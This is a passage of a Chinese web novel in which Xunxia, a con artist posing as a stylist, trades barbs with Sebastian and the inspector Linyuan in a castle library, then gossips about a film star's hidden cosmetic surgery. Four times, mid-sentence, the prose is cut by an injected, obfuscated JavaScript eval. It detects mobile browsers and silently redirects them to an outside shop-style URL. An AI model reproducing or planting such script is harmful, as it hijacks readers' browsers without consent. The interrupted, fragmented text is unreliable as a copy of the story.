“哟,”他冷哼一声,“这位寻夏小姐,该不会是算命的时候胡话说多了,遭报应被反噬了吧?” 无人在意的角落,拉蒙已经彻底背弃了他的唯物主义信仰。 寻夏不动声色地深吸一口气,然后抬起头,八风不动道:“窥探命运才需要付出代价,只是说胡话的话,是不需要的。” 栗娜抿着嘴憋笑。 拉蒙又被呛了一回,他一时间没想好怎么反驳,只好再悻悻地冷哼了一声。 “他是赝品?”寻夏朝水床中间的男生扬扬下巴,冷不丁问道。 “是啊,”拉蒙斜了一眼,语气轻蔑,“操也不会做,游戏也不会玩,还瘦得跟条狗一样,一看就是赝品。” 水床上又是一阵波动,嬉笑声嘹亮,被轻描淡写钉为赝品的瘦小青年像是舞台上的丑角,滑稽、尴尬,被牢牢困在方寸之间,不得逃脱。 寻夏收回视线。 天际城的人上人们就是这样,在他们眼里,下城的二等民和路边随随便便的一个物件,并没有什么区别。 忽然,一道熟悉又活力四射的男声打断了水床上的欢笑。 “时间到时间到!”健身教练一边用终端循环播放哨音,一边大步流星地走来,“我们这一场抢滩登陆结束了!” 临渊在他身后,脸色沉沉,灰色的眼睛里像开了空调,温度又降了几分。 寻夏的视线不自觉地在他脸上多扫了几个来回。 水床上,一个浑身名牌、美式前刺的男生站了起来,不满道:“你搞错了吧?一场抢滩的标准时间是三十分钟,现在明明还有十分钟!” 健身教练脸上闪过一丝不自然,下意识偏过头瞥了一眼临渊,清了清嗓子:“咳咳……我们这不是标准场,是趣味运动会特别体验场!就是二十分钟一场!” 临渊终于开口:“时间到了,请大家配合。”虽然说是“请”,但他的语气听起来很不客气。 健身教练赶紧接上:“对对,下一个项目马上开始啦,大家跟我一起过去吧!” 水床上放肆的嬉闹声渐渐散去,那群人不满地嘟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536337|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 囔着,但在监察官凌厉的注视下,谁也不想做第一个出头抗议的人。 “啧。”拉蒙双臂抱胸,圆头皮鞋重重地砸了两下草坪,“下一个项目是什么?” 他在这些人中最有背景,有他松口,健身教练大大地松了口气。 “下一个项目,‘同心协力’双人运球!需要男女搭配,自由组队,积分加倍哦!” “走。”拉蒙斜了健身教练一眼,示意他带路。人群被新的项目吸引,重新热闹起来。他的小弟第一个追上来,其他人也陆陆续续离开了水床。 水床不再剧烈波动,最中间那个瘦小的男生,喘着粗气坐了起来。他的头发被汗水打湿了,一缕一缕紧贴着额头,POLO衫的领口被扯开,好像还掉了两颗扣子。 “有不舒服的话,可以回去休息。”临渊移开目光,不去看他一身的狼狈,只是在转身离开前留下一句。 男生垂着头,像是没听到一样,一动不动,一言不发。 “他一个人在那里好可怜哦。”栗娜的声音在寻夏耳边响起,一开始是于心不忍,但很快便被兴奋取代,“他们都去玩新项目了,我们也一起过去看看吧!” “好啊。”寻夏微笑点头,不再去看那张孤单的水床,任由栗娜拉着她向新场地走去。 她忽然觉得有点没意思。 栗娜对那个男生的同情,就像同情一只雨过天晴时被踩扁的蜗牛。她路过这只蜗牛,感叹一句好可怜,然后转过身就会把蜗牛抛到九霄云外。 甚至还会在晚餐时大快朵颐一整盘烤蜗牛。 寻夏用叉子叉起一块蜗牛肉,觉得这一切在荒诞中又透着一丝好笑。 今晚的蜗牛烤得有点老,栗娜一手刀一手叉,切蜗牛切出了咬牙切齿的气势。 “哎呀,终于切下来了!”她甩甩手腕,同样叉起一块蜗牛肉,悄悄问寻夏,“明天这个时候就要投票了,你觉得赝品是谁?” “应该就是水床上那个男生吧。”寻夏答得自然,“他叫什么来着?安德鲁?” “是叫安德雷啦!不过我觉得也是,他太明显了。” 栗娜说完,两人都没有说话。 客观上看,此时栗娜和寻夏都在嚼蜗牛肉,沉默一会儿也很正常。但主观上,寻夏却觉得此刻的沉默有种说不清道不明的尴尬。 也许是因为她有点心虚吧。 “对了!”栗娜放下叉子,在餐盘上砸出当的一声,打破了尴尬的沉默,“小夏,你是不是已经大学毕业了?我还没问过你是做什么工作的呢!” 寻夏的心跳停了半拍。 她安静地放下叉子,笑着反问:“为什么觉得我已经毕业了?” 栗娜有点不好意思:“虽然一直叫你小夏,但我感觉你其实比我成熟得多,像是我的姐姐一样。” 她说这些话的时候,寻夏没有放过她脸上任何一个细小的波动。 寻夏扫过她脑后漂亮有光泽的蛋卷发,扫过她白净的小脸,扫过她笑起来露出的两颗小尖牙,也扫过她眼里真切的好奇与一点点羞怯。 寻夏眨眨眼,眼底的锐意渐渐散去。但愿是她想多了,栗娜说的,应该都是她的真心话。 她于是笑眯眯道:“我是独立造型师。” 她说的也是真心话,只不过是进行了一些合理的包装罢了。 随便一个卖货的都可以叫自己品牌主理人,她会易容,怎么不算一种独立造型师呢? 11. 过敏 第三天,寻夏醒得很早。 或许是因为昨天的运动会她全程旁观,没什么消耗;又或许是因为潜意识里挂念着今晚的放逐选举,总之,八点不到,她就已经穿戴整齐地坐在桌前了。 寻夏今天换了一幅深褐色的美瞳,不画眼影只刷睫毛,妆容的重点放在土棕调的唇色上。她在简单的米色鱼尾裙外搭了一条针织披肩,头上斜戴一顶米色宽檐礼帽,头发盘成低丸子垂在脑后,整个人看起来干净又气质。 既然已经决定未来二十七天的职业是独立造型师了,那每天在造型上还是要稍稍多花一些心思。 造型师的私服搭配可以没有固定的风格,但必须要有态度。她今天的打扮就很符合“有态度”的要求。 寻夏在全身镜前转了个圈,嘴角扬起满意的微笑。 今天的活动预告依旧要等到十点才会发布,上午的时间做些什么好呢? 第一天的集市,第二天的运动会,都在楼下举办。但城堡一共有七层,她打算趁这难得的空闲,探索探索楼上的空间。 寻夏顺着旋转楼梯走到三楼,这个点的城堡几乎是空无一人。漫步在长长的走廊,可以听到城堡外忽远忽近的鸟叫,也可以听到自己平稳的呼吸。 她的杂念渐渐淡去,心开始静下来。 这一层有装修看起来很高雅的琴房,有四面都是镜子的空旷操房,有尚未开门的专业洗衣工作室,还有一间门口写着图书室三个字的房间。 她推开虚掩的隔音门,一股混合着旧纸张、油墨和阳光的温暖气息扑面而来。 图书室三面墙都是顶天立地的书柜,在这个纸质书已经不多见的时代,满满当当的陈列本该让人深切感受到知识的厚重力量。 可惜寻夏不爱看书,她更喜欢图书室的第四面墙。 第四面墙不是墙,是一面巨大的、擦得干干净净的落地窗。阳光毫无阻碍地倾泻进来,空气中飞舞的尘埃都清晰可见。 房间中央面朝落地窗的方向,间隔摆了七八张铺着软垫的躺椅,阳光落在上面,暖洋洋的很是惬意。 寻夏的眼神落在躺椅上不动了,她摸了摸头顶的帽子,帽檐投下的阴影遮住了她的大半张脸。在这里晒一会儿清晨尚且柔弱的暖阳,应该问题不大。 她随手从书架上取下一本书,挑了一张看着最顺眼的躺椅躺下,将书反扣在手边,闭上眼睛打算睡个回笼觉。 但她眼皮还没合拢,门口就响起了脚步声。 是谁和她一样醒这么早?寻夏侧过脸望去。 阳光为她的轮廓镀上一层柔和的金边,皮肤看起来毛茸茸的,又光洁无暇。 塞巴斯蒂安推开门,对上了她的目光。 他穿了一身宫廷风又略带休闲的常服,纯白的丝质衬衫领口微敞,几缕金发滑落其间。老实说,抛开脾气不谈,只从外形上看,他确实他俊美又优雅,像个王子一样。 塞巴斯蒂安没想过会在这里碰到寻夏,眼中有一瞬的不知所措。 “早上好,道格拉斯先生。”寻夏倒是很自然,脸上挂起礼貌的微笑,主动向他打招呼。 又是“道格拉斯先生”。 塞巴斯蒂安琥珀色的眼眸划过暗色。这个称呼得体、合宜,挑不出任何错处,但他却偏偏觉得刺耳。 他想起了初见日晚宴上,寻夏伶牙俐齿的回击,那看似客气,实则挑衅的姿态。那晚之后,他每每听到“道格拉斯先生”的称呼,心中都会升起一股浅淡而莫名的不悦。 塞巴斯蒂安移开目光,向书柜走去,状似无意地开口:“日常生活中,道格拉斯先生的称呼过于正式,叫我塞巴斯蒂安会更合适。” 寻夏挑起了眉毛:“好呀,塞巴斯蒂安。” 他划过书架的手指顿了顿。 “你有晨读的习惯吗?”寻夏坐直了身体,回过头问他。 他是有晨读的习惯,这也是他们家族一贯的规矩。但寻夏怎么会猜到?是向她身边那个本科二年级的栗娜打听的吗? 塞巴斯蒂安感受到她落在自己背上、如有实质的目光,捏住书脊的手指不自觉加了力道。 果然,她就是想接近自己,从那天的晚宴开始,她就一直在试图引起他的注意。这样的把戏,他从小到大见得太多了。 刚走进图书室看到寻夏时,心中那点说不清道不明的情绪,在此刻彻底消散。他心想,就不该让她叫自己“塞巴斯蒂安”。 塞巴斯蒂安于是冷淡地回答:“是的。一日之计在于晨,晨读是开启新的一天的重要仪式,理应怀抱着对知识的敬畏之心,审慎对待。” 他取下一本《生命不可承受之轻与重》,不紧不慢地走到寻夏所在的那张躺椅旁边,视线刻意扫过被她随意扔在一边的那本书。 那是一本杂志,封面用亮色大字写着“天际秘闻录:深扒基因贵族的风流二三事”。 寻夏顺着他的视线看下去,她这才看清自己拿来的是一本什么东西——不愧是她的手,真懂事,随手一拿就是她最想看的。 塞巴斯蒂安皱紧了眉头,声音更冷了:“阅读内容的选择,也需要有计划、有系统,不该是兴之所至的随意翻阅。” “另外,阅读姿势也很重要。可以站、可以坐,但决不能躺。”他眼睁睁看着躺在躺椅上的寻夏翻了个身,“躺着读书,会导致懈怠,很难从中汲取新知。” 从看书的态度到看书的内容再到看书的姿势,把她从头否定到脚,塞巴斯蒂安绝对是故意的。 可这是为什么呢?明明他刚进门让她改称呼的时候,态度还算得上正常。 那就只能是因为她问的那句“晨读的习惯”了。寻夏在心中呵呵冷笑。 塞巴斯蒂安真是个不折不扣的超绝敏感肌,还是过敏原可以列出三大张纸的那种。多看一眼、多问一句都不行,随时随地都有可能突发过敏反应。 寻夏眯了眯眼,非但没起来,甚至还往下一滑,调整到一个更舒服的姿势。 那就让过敏反应爆发得更剧烈一些吧。 她侧躺着,单手支起脑袋,帽檐下的眼睛里盛满了无辜:“可是,我看书只是为了消遣呀。你看书是为了什么呢?”她的声音懒洋洋的,像只晒太阳的猫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536338|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有那么一个瞬间,塞巴斯蒂安忘了眨眼。消遣?在他忙碌而充满意义的人生里,几乎从没有消遣这个词的位置。 “个体的生命短暂而有限,不该在消遣中浪费。”他下意识反击。 “浪费?在你看来,消遣就是浪费时间吗?” “没有目的、没有意义,那就是浪费。” “总是带着‘汲取新知’的目的去看书,不累么?”寻夏叹了口气,话语里是真切的同情,“像你这样规规矩矩的,活得好辛苦。” 塞巴斯蒂安忽然想起很多很多年前的一个下午,他央求妈妈留下来陪他玩积木,但妈妈只是摸了摸他的头,用那双总是带着忧郁的琥珀色眼睛望着他,轻声说:“亲爱的,现在是下午茶时间。道格拉斯家的女主人必须在三点整出现在会客厅,这是规矩。” 那个时候他多大?五岁,还是六岁? 他记不清了。但他记得午后的阳光把她离去的影子拉得很长,长到覆盖了他即将竣工的整座积木城堡。 她走到门口时停顿了一下,塞巴斯蒂安屏住呼吸,以为她是后悔了,下一秒就会回头。但她只是平静地嘱咐:“记得洗手,塞巴斯蒂安。四点整还有礼仪课。” 那个时候,他似乎也萌发过与寻夏类似的想法。他觉得妈妈好辛苦,不是劳作的那种辛苦,而是像上了发条的提线木偶一样,一种茫然又忙碌的辛苦。 卧室里只剩下他一个人,还有那座差一点就要完工的积木城堡。他盯着妈妈消失的门口看了很久,然后轻轻伸出手,把城堡推翻,积木散落一地。 “怎么了?终于意识到自己活得很无聊了?”寻夏苍白的手掌在他面前晃了晃,塞巴斯蒂安回过神来。 寻夏在躺椅上懒洋洋的姿态很晃眼,比她苍白的手掌还要晃眼。可要命的是,他现在居然真的在想,像她这样躺着看书是不是要更舒服一点? “没有,没什么。”他生硬地开口,把手里的《生命不可承受之轻与重》放回书架,转身就要离开。 “诶,你不晨读了?”寻夏喊住他,声音里带了点笑意,“不是说是开启新的一天的重要仪式吗?” 塞巴斯蒂安停住脚步,梅开二度地取出《生命不可承受之轻与重》,去而复返,然后坐在了寻夏边上的那张躺椅上。 “躺椅右手边,往下看,可以调节靠背高度。”寻夏看他也不躺,就脊背挺直地硬生生在那儿坐着,好心提醒道,“你这样容易腰突,还会得颈椎病哦。” 塞巴斯蒂安沉默不语,左手压着书翻开,右手悄悄往躺椅下探去。 他拧动旋钮,躺椅靠背从三十度的倾斜角一路抬高到六十度的倾斜角,然后停了下来。 也没有人规定,身体一定要垂直于地面才能算是“坐”。他现在觉得,六十度也勉强可以划分进“坐”的范畴,只有寻夏的三十度才是毫无疑问的“躺”。 寻夏用余光瞟着塞巴斯蒂安的小动作,正想调侃两句再让他敏感肌大发作过敏一下,但她还没张嘴,门口就又响起了一阵脚步声。 在她好奇抬头的瞬间,临渊站在门口,停下了脚步。 12. 偶遇 临渊的脚步停下得很突然,突然到有些尴尬。 在这里碰到塞巴斯蒂安很正常,但他没想过会在这里碰到寻夏,更没想过会碰到寻夏和塞巴斯蒂安一起,躺在相邻的两张躺椅上相安无事地看书。 这时候继续往里走,他觉得不对;直接转身离开,他觉得更加不对。 但他为什么会觉得不对呢?还没等想明白,他就猝不及防地对上了寻夏的视线。 寻夏倒是镇定自若,在最初一瞬的意外之后,很快便接上了一个粲然的笑。 她的脸大半藏在帽檐投下的阴影中,只露出一个小巧的下巴,在阳光下透出白玉般的温润质感。 临渊一时间有些进退两难。 寻夏将杂志放回腿上,坐直了身体向他打招呼:“早上好,临渊长官。” 塞巴斯蒂安看书确实很认真,一直到寻夏出声,他才后知后觉地意识到图书室中多了一个人。 他不自觉拧起了眉头。 “临渊长官也是来晨读的吗?”寻夏看到临渊停在门口不知所措的样子,自然地给他递了个台阶。 听到这句话,塞巴斯蒂安的眉头却拧得更紧了。 他的第一反应是疑惑,寻夏为什么不叫临渊监察官,而要叫他“临渊长官”?听她言语间的松弛状态与隐隐的亲近,她和那位教廷的临渊似乎在游戏外是旧识。 然后,他的思绪没由来地跳跃到了“晨读”两个字上。 原来寻夏那句“你有晨读的习惯吗”,不是只会问他一个人。 塞巴斯蒂安有些后悔刚才对她的冷淡和针对,是他先入为主,把她当成了那种一门心思想要接近他的女人。但现在看来,寻夏或许只是随口一问而已。 “不是,”临渊接过寻夏的话头,迈步走了进来,“这里存放了我需要的资料。” “是什么资料没有电子版,还需要来这里翻箱倒柜?”寻夏不相信,随口调笑。 临渊背对着她,眼神一凛。她不应该说这句话的。 “你大学学的是什么专业?”塞巴斯蒂安忽然开口,抛出一个没头没尾的问题。但他又皱着眉头,语气认真,不像是没话找话要和寻夏闲聊的样子。 寻夏脑海中那根被太阳晒得懒洋洋的弦,倏地收紧了。她好像说错话了。 她脸上还维持着轻松的笑容,但有句古老的鸡汤说得好,你必须非常努力,才能看起来毫不费力。 她现在就陷入了这样一个表面岁月静好,大脑负重前行的境地。 她的大脑被迫高速运转,一边猜测刚刚是哪里出了差错,一边疯狂思考该如何回答塞巴斯蒂安的问题,一边还忍不住暗骂这群天际城的人上人为什么都默认是个人就应该上过大学。 寻夏缓慢地将脸转回塞巴斯蒂安的方向,在短暂又漫长的两秒钟之后,给出了她的回答。 “我是艺术生,学的设计。” 塞巴斯蒂安会莫名其妙问那么一句话,大概率不是真的好奇她的专业,而是在怀疑她没上过大学。 她不能承认她没上过大学,因为没上过大学的青春听起来不是很美好,而这种“不美好”往往让人联想到同样不太美好的下城二等民。 在逆位游戏这种敏感的环境中,她最好不要主动给自己贴上“不美好”的标签。 听到她的回答,塞巴斯蒂安紧拧的眉头松开了一点,眼神里质疑的意味也淡去了一点。 “原来你是艺术生。”他微微颔首,然后低下头翻了一页书,像是在宣告这个话题的翻篇。 寻夏脸上假面似的笑容真切了几分。 艺术生嘛,确实是上过大学,但又不像塞巴斯蒂安这种文化生上得那么充分。艺术生偶尔文盲一下,也是可以理解的。 而设计又有很多不同的细分方向,既能和她的“职业”造型师扯上关系,又给她留下了充足的发挥空间。 看来她灵机一动的这套说辞,效果还不错。 但临渊的面色更沉了。他站在书柜前没有动,敛眸沉思。 寻夏和塞巴斯蒂安还不知道下午的活动,可他是知道的。寻夏在塞巴斯蒂安面前给自己编这么一个专业,很可能会是个隐患。 “对了,”塞巴斯蒂安忽然又重新抬起头,“我的专业是旧世界西方美术史,有机会的话,我们或许可以探讨一番。” 寻夏的笑容僵在脸上,她正想硬着头皮应一句“好啊”,却被临渊打断了。 临渊转过身,轻咳一声:“为了维护游戏的公平性,监察委员会不鼓励大家过多透露个人信息。” 塞巴斯蒂安一怔,琥珀色的眸子冷下来:“监察官的意思是,我破坏了游戏的公平性?” “在我面前,最好是谨言慎行。”临渊的语气淡淡的,却又透着不容置疑的味道。 寻夏不自觉屏住了呼吸,视线在两人之间来回游走。 塞巴斯蒂安轻笑:“可是我的个人信息,众人皆知。这就是监察官所说的,游戏的‘公平性’吗?” “众人皆知的人为什么还要来参加游戏,我想你我都心知肚明。”临渊眯了眯眼,缓缓掷出六个字,“至高纲领在上。” 好精彩,好有火药味。寻夏想着,转头去看塞巴斯蒂安的反应。 “好。”塞巴斯蒂安克制着怒气,合上书,发出啪的一声轻响,“至高纲领在上。” 他起身,与临渊擦肩而过,大步离开了图书室,衬衫的缎带被风卷起,在身侧飞扬。 寻夏收回视线,托着下巴,笑眯眯地盯着临渊。临渊一直等塞巴斯蒂安的身影消失在走廊尽头,才回头与她对视。 临渊的喉结动了动,像是在犹豫,但最终还是开了口:“谨言慎行。” 寻夏明白,他刚刚说这四个字,一方面是在向塞巴斯蒂安施压,另一方面也是在隐晦地给她提示。 “所以在天际城,资料没有电子版是一件很正常的事,对吗?”她问。 临渊点头:“天际城的科技水平发展很快,现在学界与政界普遍认为网络并不安全。数据可以被加密,也同样可以被窃取、篡改、抹除。所以,大多数相对重要的原始资料,都不会有电子版,只有纸质存档。” 原来是这样。 下城的网络上盗版满天飞,想要的几乎都能在网上找到。她于是想当然地认为,天际城的科技更发达,网上的资源只会更丰富。没想到人家已经返璞归真,回到了淳朴的纸制印刷品时代。 她大意了。 “谢谢临渊长官。”寻夏从善如流地道谢,却不说谢他什么。 是谢他为她科普天际城常识,还是谢他帮忙截断了塞巴斯蒂安的试探?她不会解释的,让临渊自己琢磨去吧。 她上次从临渊办公室离开的时候就说,她赌临渊还会帮她。果然,她又赌赢了一次。 临渊的目光掠过她的笑脸,他觉得她现在面对自己的笑容,比之前面对塞巴斯蒂安的时候要真诚多了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536339|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再多说什么,低头从书柜中取出那几份他想要的文件,便转身离开了图书室。 阳光依旧温暖,图书室里的人员增增减减,又回到最初的模样,只剩下寻夏一人。她重新舒服地躺回椅子里,顺手拿起那本被冷落许久的《天际秘闻录》,百无聊赖地翻了一页。 “劲爆!道格拉斯家族与统一进化教廷不为人知的秘密关系!”下一页,加粗的红色版头让她瞪大了眼睛。 早说这杂志里写的是这种东西,她可就不困了。 寻夏仔细阅读这一页的内容。小编的行文故弄玄虚,吊足了胃口,写到最后才神神秘秘地揭露所谓的“秘密关系”:道格拉斯家族是合议庭基因贵族中,少数明确与统一进化教廷深度捆绑的家族,双方在政坛上互相扶持又互相掣肘,维持了数十年的同盟关系。 寻夏了然。 怪不得像拉蒙那样的基因贵族在教廷面前依旧嚣张跋扈,但塞巴斯蒂安虽然不满,最终还是会克制地说出一句“至高纲领在上”。 她又津津有味地往后翻了几页,一连串诸如“林家家主疑似十年前就被仿生人替换!”“夫人带球跑奔真爱,史密斯公爵追妻火葬场!”之类的八卦平滑地进入大脑,瞬间抚平了她的大脑皮层褶皱。 不一样的书,能带给人不一样的阅读体验,她现在要收回自己不爱看书这个观点。 如果是看《生命不可承受之轻与重》的话,时间一定过得很慢;但看《天际秘闻录》就不一样了,此刻的时间就像握在手中的沙,一不小心就消失得一干二净。 不知道过了多久,寻夏手边的终端轻轻震动,响起了提示音。 她点开屏幕,刚好是上午十点整,一条新邮件提示弹了出来。 【《时尚先生》首映发布会】 「今日活动预告:《时尚先生》首映发布会 活动时间:14:00-17:00 活动地点:梅尔森城堡一楼星海礼堂 今天下午,《时尚先生》的主创团队将会来到梅尔森城堡,与各位共同见证这部作品的首次公开亮相。在两个小时的观影之后,各位可以与主创团队面对面交流,主演塞缪尔·克罗也会出现在现场! 红毯、灯光已就位,期待四小时后与你的见面!」 昨天是运动会,今天是电影首映礼,这逆位游戏还真是文体两开花啊。 寻夏略带不舍地把《天际秘闻录》插回书柜,拿着终端下了楼。 一楼大厅在平时都是自助餐厅,每天按时提供早中晚三餐。现在早餐时间刚刚结束,长桌旁还有不少人在慢悠悠地用餐,正好今日活动预告发布了,人群间的议论声渐渐响了起来。 “真的吗?塞缪尔也会来?” “当然是真的啊!都发邮件了,还能是假的吗?” “天呐!他可是‘新世界的最后一块璞玉’啊!” “我想多向他要几张签名照,等出去了挂到网上拍卖。” “就我对明星不感冒吗?” “我也无感,娱乐圈不就是些戏子,搞不懂有什么好追捧的。” 寻夏对娱乐圈的关注也不多,但塞缪尔·克罗的名字她还是听过的。 在快节奏的娱乐圈,每个月都会新的“顶流”出现,而塞缪尔却是顶流中的常青树,任人来人往他自岿然不动,连续数年在“四大顶流”中占据一席之地。 栗娜也坐在桌边,手中的终端上赫然显示着塞缪尔的俊脸。 13. 八卦 寻夏提起裙子,踮着脚静悄悄走到栗娜身后,屏住呼吸,看准时机,猛地一拍她的肩膀。 “嘿!” 栗娜浑身一震,手忙脚乱地把终端倒扣在桌面上,匆忙回头。 “哎呀,你吓死我了!”见到来的人是寻夏,她大大地松了一口气。 “怎么了,终端里有我不能看的秘密?” “嘘——”栗娜的眼珠往四周滴溜溜转了一圈,确认没有人注意到她们这边的动静,这才神神秘秘地开口,“你知道‘新世界的最后一块璞玉’这个说法吗?” 寻夏拉开她身旁的椅子坐下,点点头:“刚刚过来的路上听到了,是在说塞缪尔·克罗吧?” “没错!但我有时候真的觉得互联网没有记忆,我记得这个说法在最早可是黑称,现在居然都被净化成他粉丝的控评词了!” “黑称?”寻夏不了解这个词,但她问得很谨慎,很克制,生怕又在无意中暴露自己不该有的知识盲区。 “你还真是不爱上网啊!”栗娜感叹,但只是感叹而已,没有半点别的意思。 寻夏于是放下心来,在她好奇又饶有兴致的目光中,栗娜向她解释道:“黑称就是那种不好的称呼,可以理解为爱称的反义词?” “原来是这样。”寻夏作出恍然大悟的样子,但又觉得奇怪,“可是‘新世界的最后一块璞玉’听起来还挺美好的呀,为什么会是黑称呢?” “这你就不知道了!”栗娜的嗓音压得更低了,“其实一开始,这是塞缪尔的黑粉说出来讽刺他的!” “塞缪尔不是总宣传自己是纯天然帅哥吗?但黑粉不信,所以就用‘新世界的最后一块璞玉’这种说法来阴阳他!” 璞玉,就是未经琢磨的玉石。而在这个时代,通过科技手段对脸蛋、身材进行“琢磨”,已经是一件很普遍的事,就和减肥、健身一样平平无奇。 多数明星都不会避讳承认整容微调,甚至还会大方和粉丝分享自己最近新做的项目。 但塞缪尔不一样。 栗娜重新打开终端,退出大图,屏幕上塞缪尔放大的俊脸消失,露出一行加粗的标题:顶级原生神颜,二十五年零科技添加!入股不亏! “你看看,”栗娜的手指在屏幕上点来点去,“这篇、这篇、还有这篇,一看就是他们团队自己发的通稿。” 寻夏凑过去看,一连串通稿的标题各不相同,但无一例外都出现了“原生”两个字。 “我看塞缪尔就差没把‘纯天然帅哥’几个字纹在自己脑门上了!”栗娜用力蛐蛐道。 寻夏露出一个神秘的微笑:“我知道了。” “知道什么?” “你是塞缪尔的黑粉。”她伸出食指抵着栗娜的肩膀,玩笑道。 栗娜连连摆手:“那倒算不上,我不混圈。我只是不喜欢他那副众人皆醉我独醒,众人皆黑我独白的样子。” “什么叫‘唯一的璞玉’呀?不管他是不是原生脸,他要拉踩别人的脸,那就是他的不对!” “我同意。”寻夏支持,“谁比谁高贵。” 栗娜点头如捣蒜:“就是就是。” 寻夏在心中再一次感叹,她真的太喜欢栗娜这种热情开朗的活泼大漏勺了,她投之以几个字,栗娜就会报之以源源不断的八卦故事。 八卦故事能够带来大量的新信息。对普通人来说,信息或许只是左耳进右耳出的消遣;但对欺诈师来说,信息也可以是一种致命的武器。 栗娜上楼回房间补觉,寻夏打开终端,开始全网搜索塞缪尔各个时期的照片。 他十八岁出道,那个时期留下的照片不多,但也可以看得出来,他脸上带着未褪尽的婴儿肥,面部轮廓柔和,眼神清澈,倒还真符合“璞玉”的形容。 但如今的塞缪尔,已经褪去了当时的稚嫩,脸部线条变得利落分明,下颌线清晰得像是被刀削过,五官也分外深邃立体,比长得像雕塑的临渊还要标致。 粉丝们对此的解释是:“哥哥只是减肥了,瘦了,健身紧致了!”他们将塞缪尔的变化归功于严格的身材管理和自律。但也有一些人一口咬定,他整了,他绝对就是整了。 评论区越是腥风血雨,这场争论就越是没有答案。比起相信网络上的众说纷纭,寻夏更愿意相信自己的眼睛。 她保存了几张塞缪尔早期和现在的照片,挑了尽量相似的角度,在终端屏幕上左右分栏显示。 早期的照片里,塞缪尔笑起来只会露出六颗牙齿,有些笑不开。而且他笑的时候,鼻翼两侧会有一左一右两道向外撇的纹路。 而现在,他笑起来还是只露出六颗牙齿,但鼻翼两侧的八字形纹路却消失了。 粉丝说,这是因为哥哥爱练背,练背可以让脸上的皮肉向上收紧,法令纹自然就减淡了。 但寻夏做欺诈师这么多年,为了完美伪装成不同的人,她研究骨骼形态、肌肉走向,亲手“捏造”过无数张脸。她对人脸的骨骼发育与皮肉表现,恐怕比专业的整形医师还要熟悉。 一般人看到这似是而非的对比照,也说不出个所以然,可她却能一眼看出问题。 塞缪尔笑不开,笑起来刚好只露出六颗牙,是因为他的牙弓天生狭窄;而他笑起来鼻翼有纹路,则是因为鼻基底的轻微凹陷。这是骨相决定的,与皮肉是否紧致关系不大。 牙弓发育不完全,必然会带来鼻基底凹陷,二者属于共生的连锁反应。 可看塞缪尔现在的照片,他笑起来仍然只露出六颗牙,这意味着他的牙弓宽度没有经过矫正,和刚出道时是一致的。但他鼻翼两侧因为鼻基底凹陷形成的纹路却消失了。 而且,从侧面看,他的脸型也从直面型,变成了微凸的凸面型。 狭窄的牙弓就像贫瘠的土壤,是无法天然生长出饱满的鼻基底的。他的牙弓始终如一,那么他现在的鼻基底,就必然是假的。 别的地方都不用看,只凭鼻基底这一处,塞缪尔就可以被开除纯天然原生脸籍了。 “哎哟,我说这位寻夏小姐,你不会也是塞缪尔的粉丝吧?”熟悉的男声突然在耳边响起,语气是一如既往的欠揍。 寻夏半点没被吓到,她的余光早就看到有一道嚣张的身影在往这个方向来了。 她礼貌假笑,转过脸与拉蒙对视:“早上好,霍华德少爷。” 拉蒙没料到她是这个反应,对上她水盈盈的双眼,喉结不自觉滚了滚。 “你少阴阳怪气地叫我霍华德少爷。”他硬邦邦地说。 “是你先阴阳怪气的哦,霍华德少爷。” “你能不能不叫我少爷?!” “好啊,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16536340|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙少爷。” 寻夏眨眨眼,拉蒙用力闭了闭眼,决定换个话题主场作战。 “……我是想说,你就别想着打塞缪尔这人的主意了。”拉蒙扯着嘴角,黑曜石舌钉在说话时若隐若现,“他上赶着给那个姓史密斯的女人做狗呢。” 哇哦,好刺激。 寻夏挑起眉毛:“你是说,史密斯公爵的夫人?” “你还挺聪明的嘛。”拉蒙哼了一声,“塞缪尔那家伙为了攀上史密斯的关系,费尽心思打扮成那个女人初恋的样子,他那群粉丝妹妹给他送的礼物,他全拿去送给姓史密斯的。” 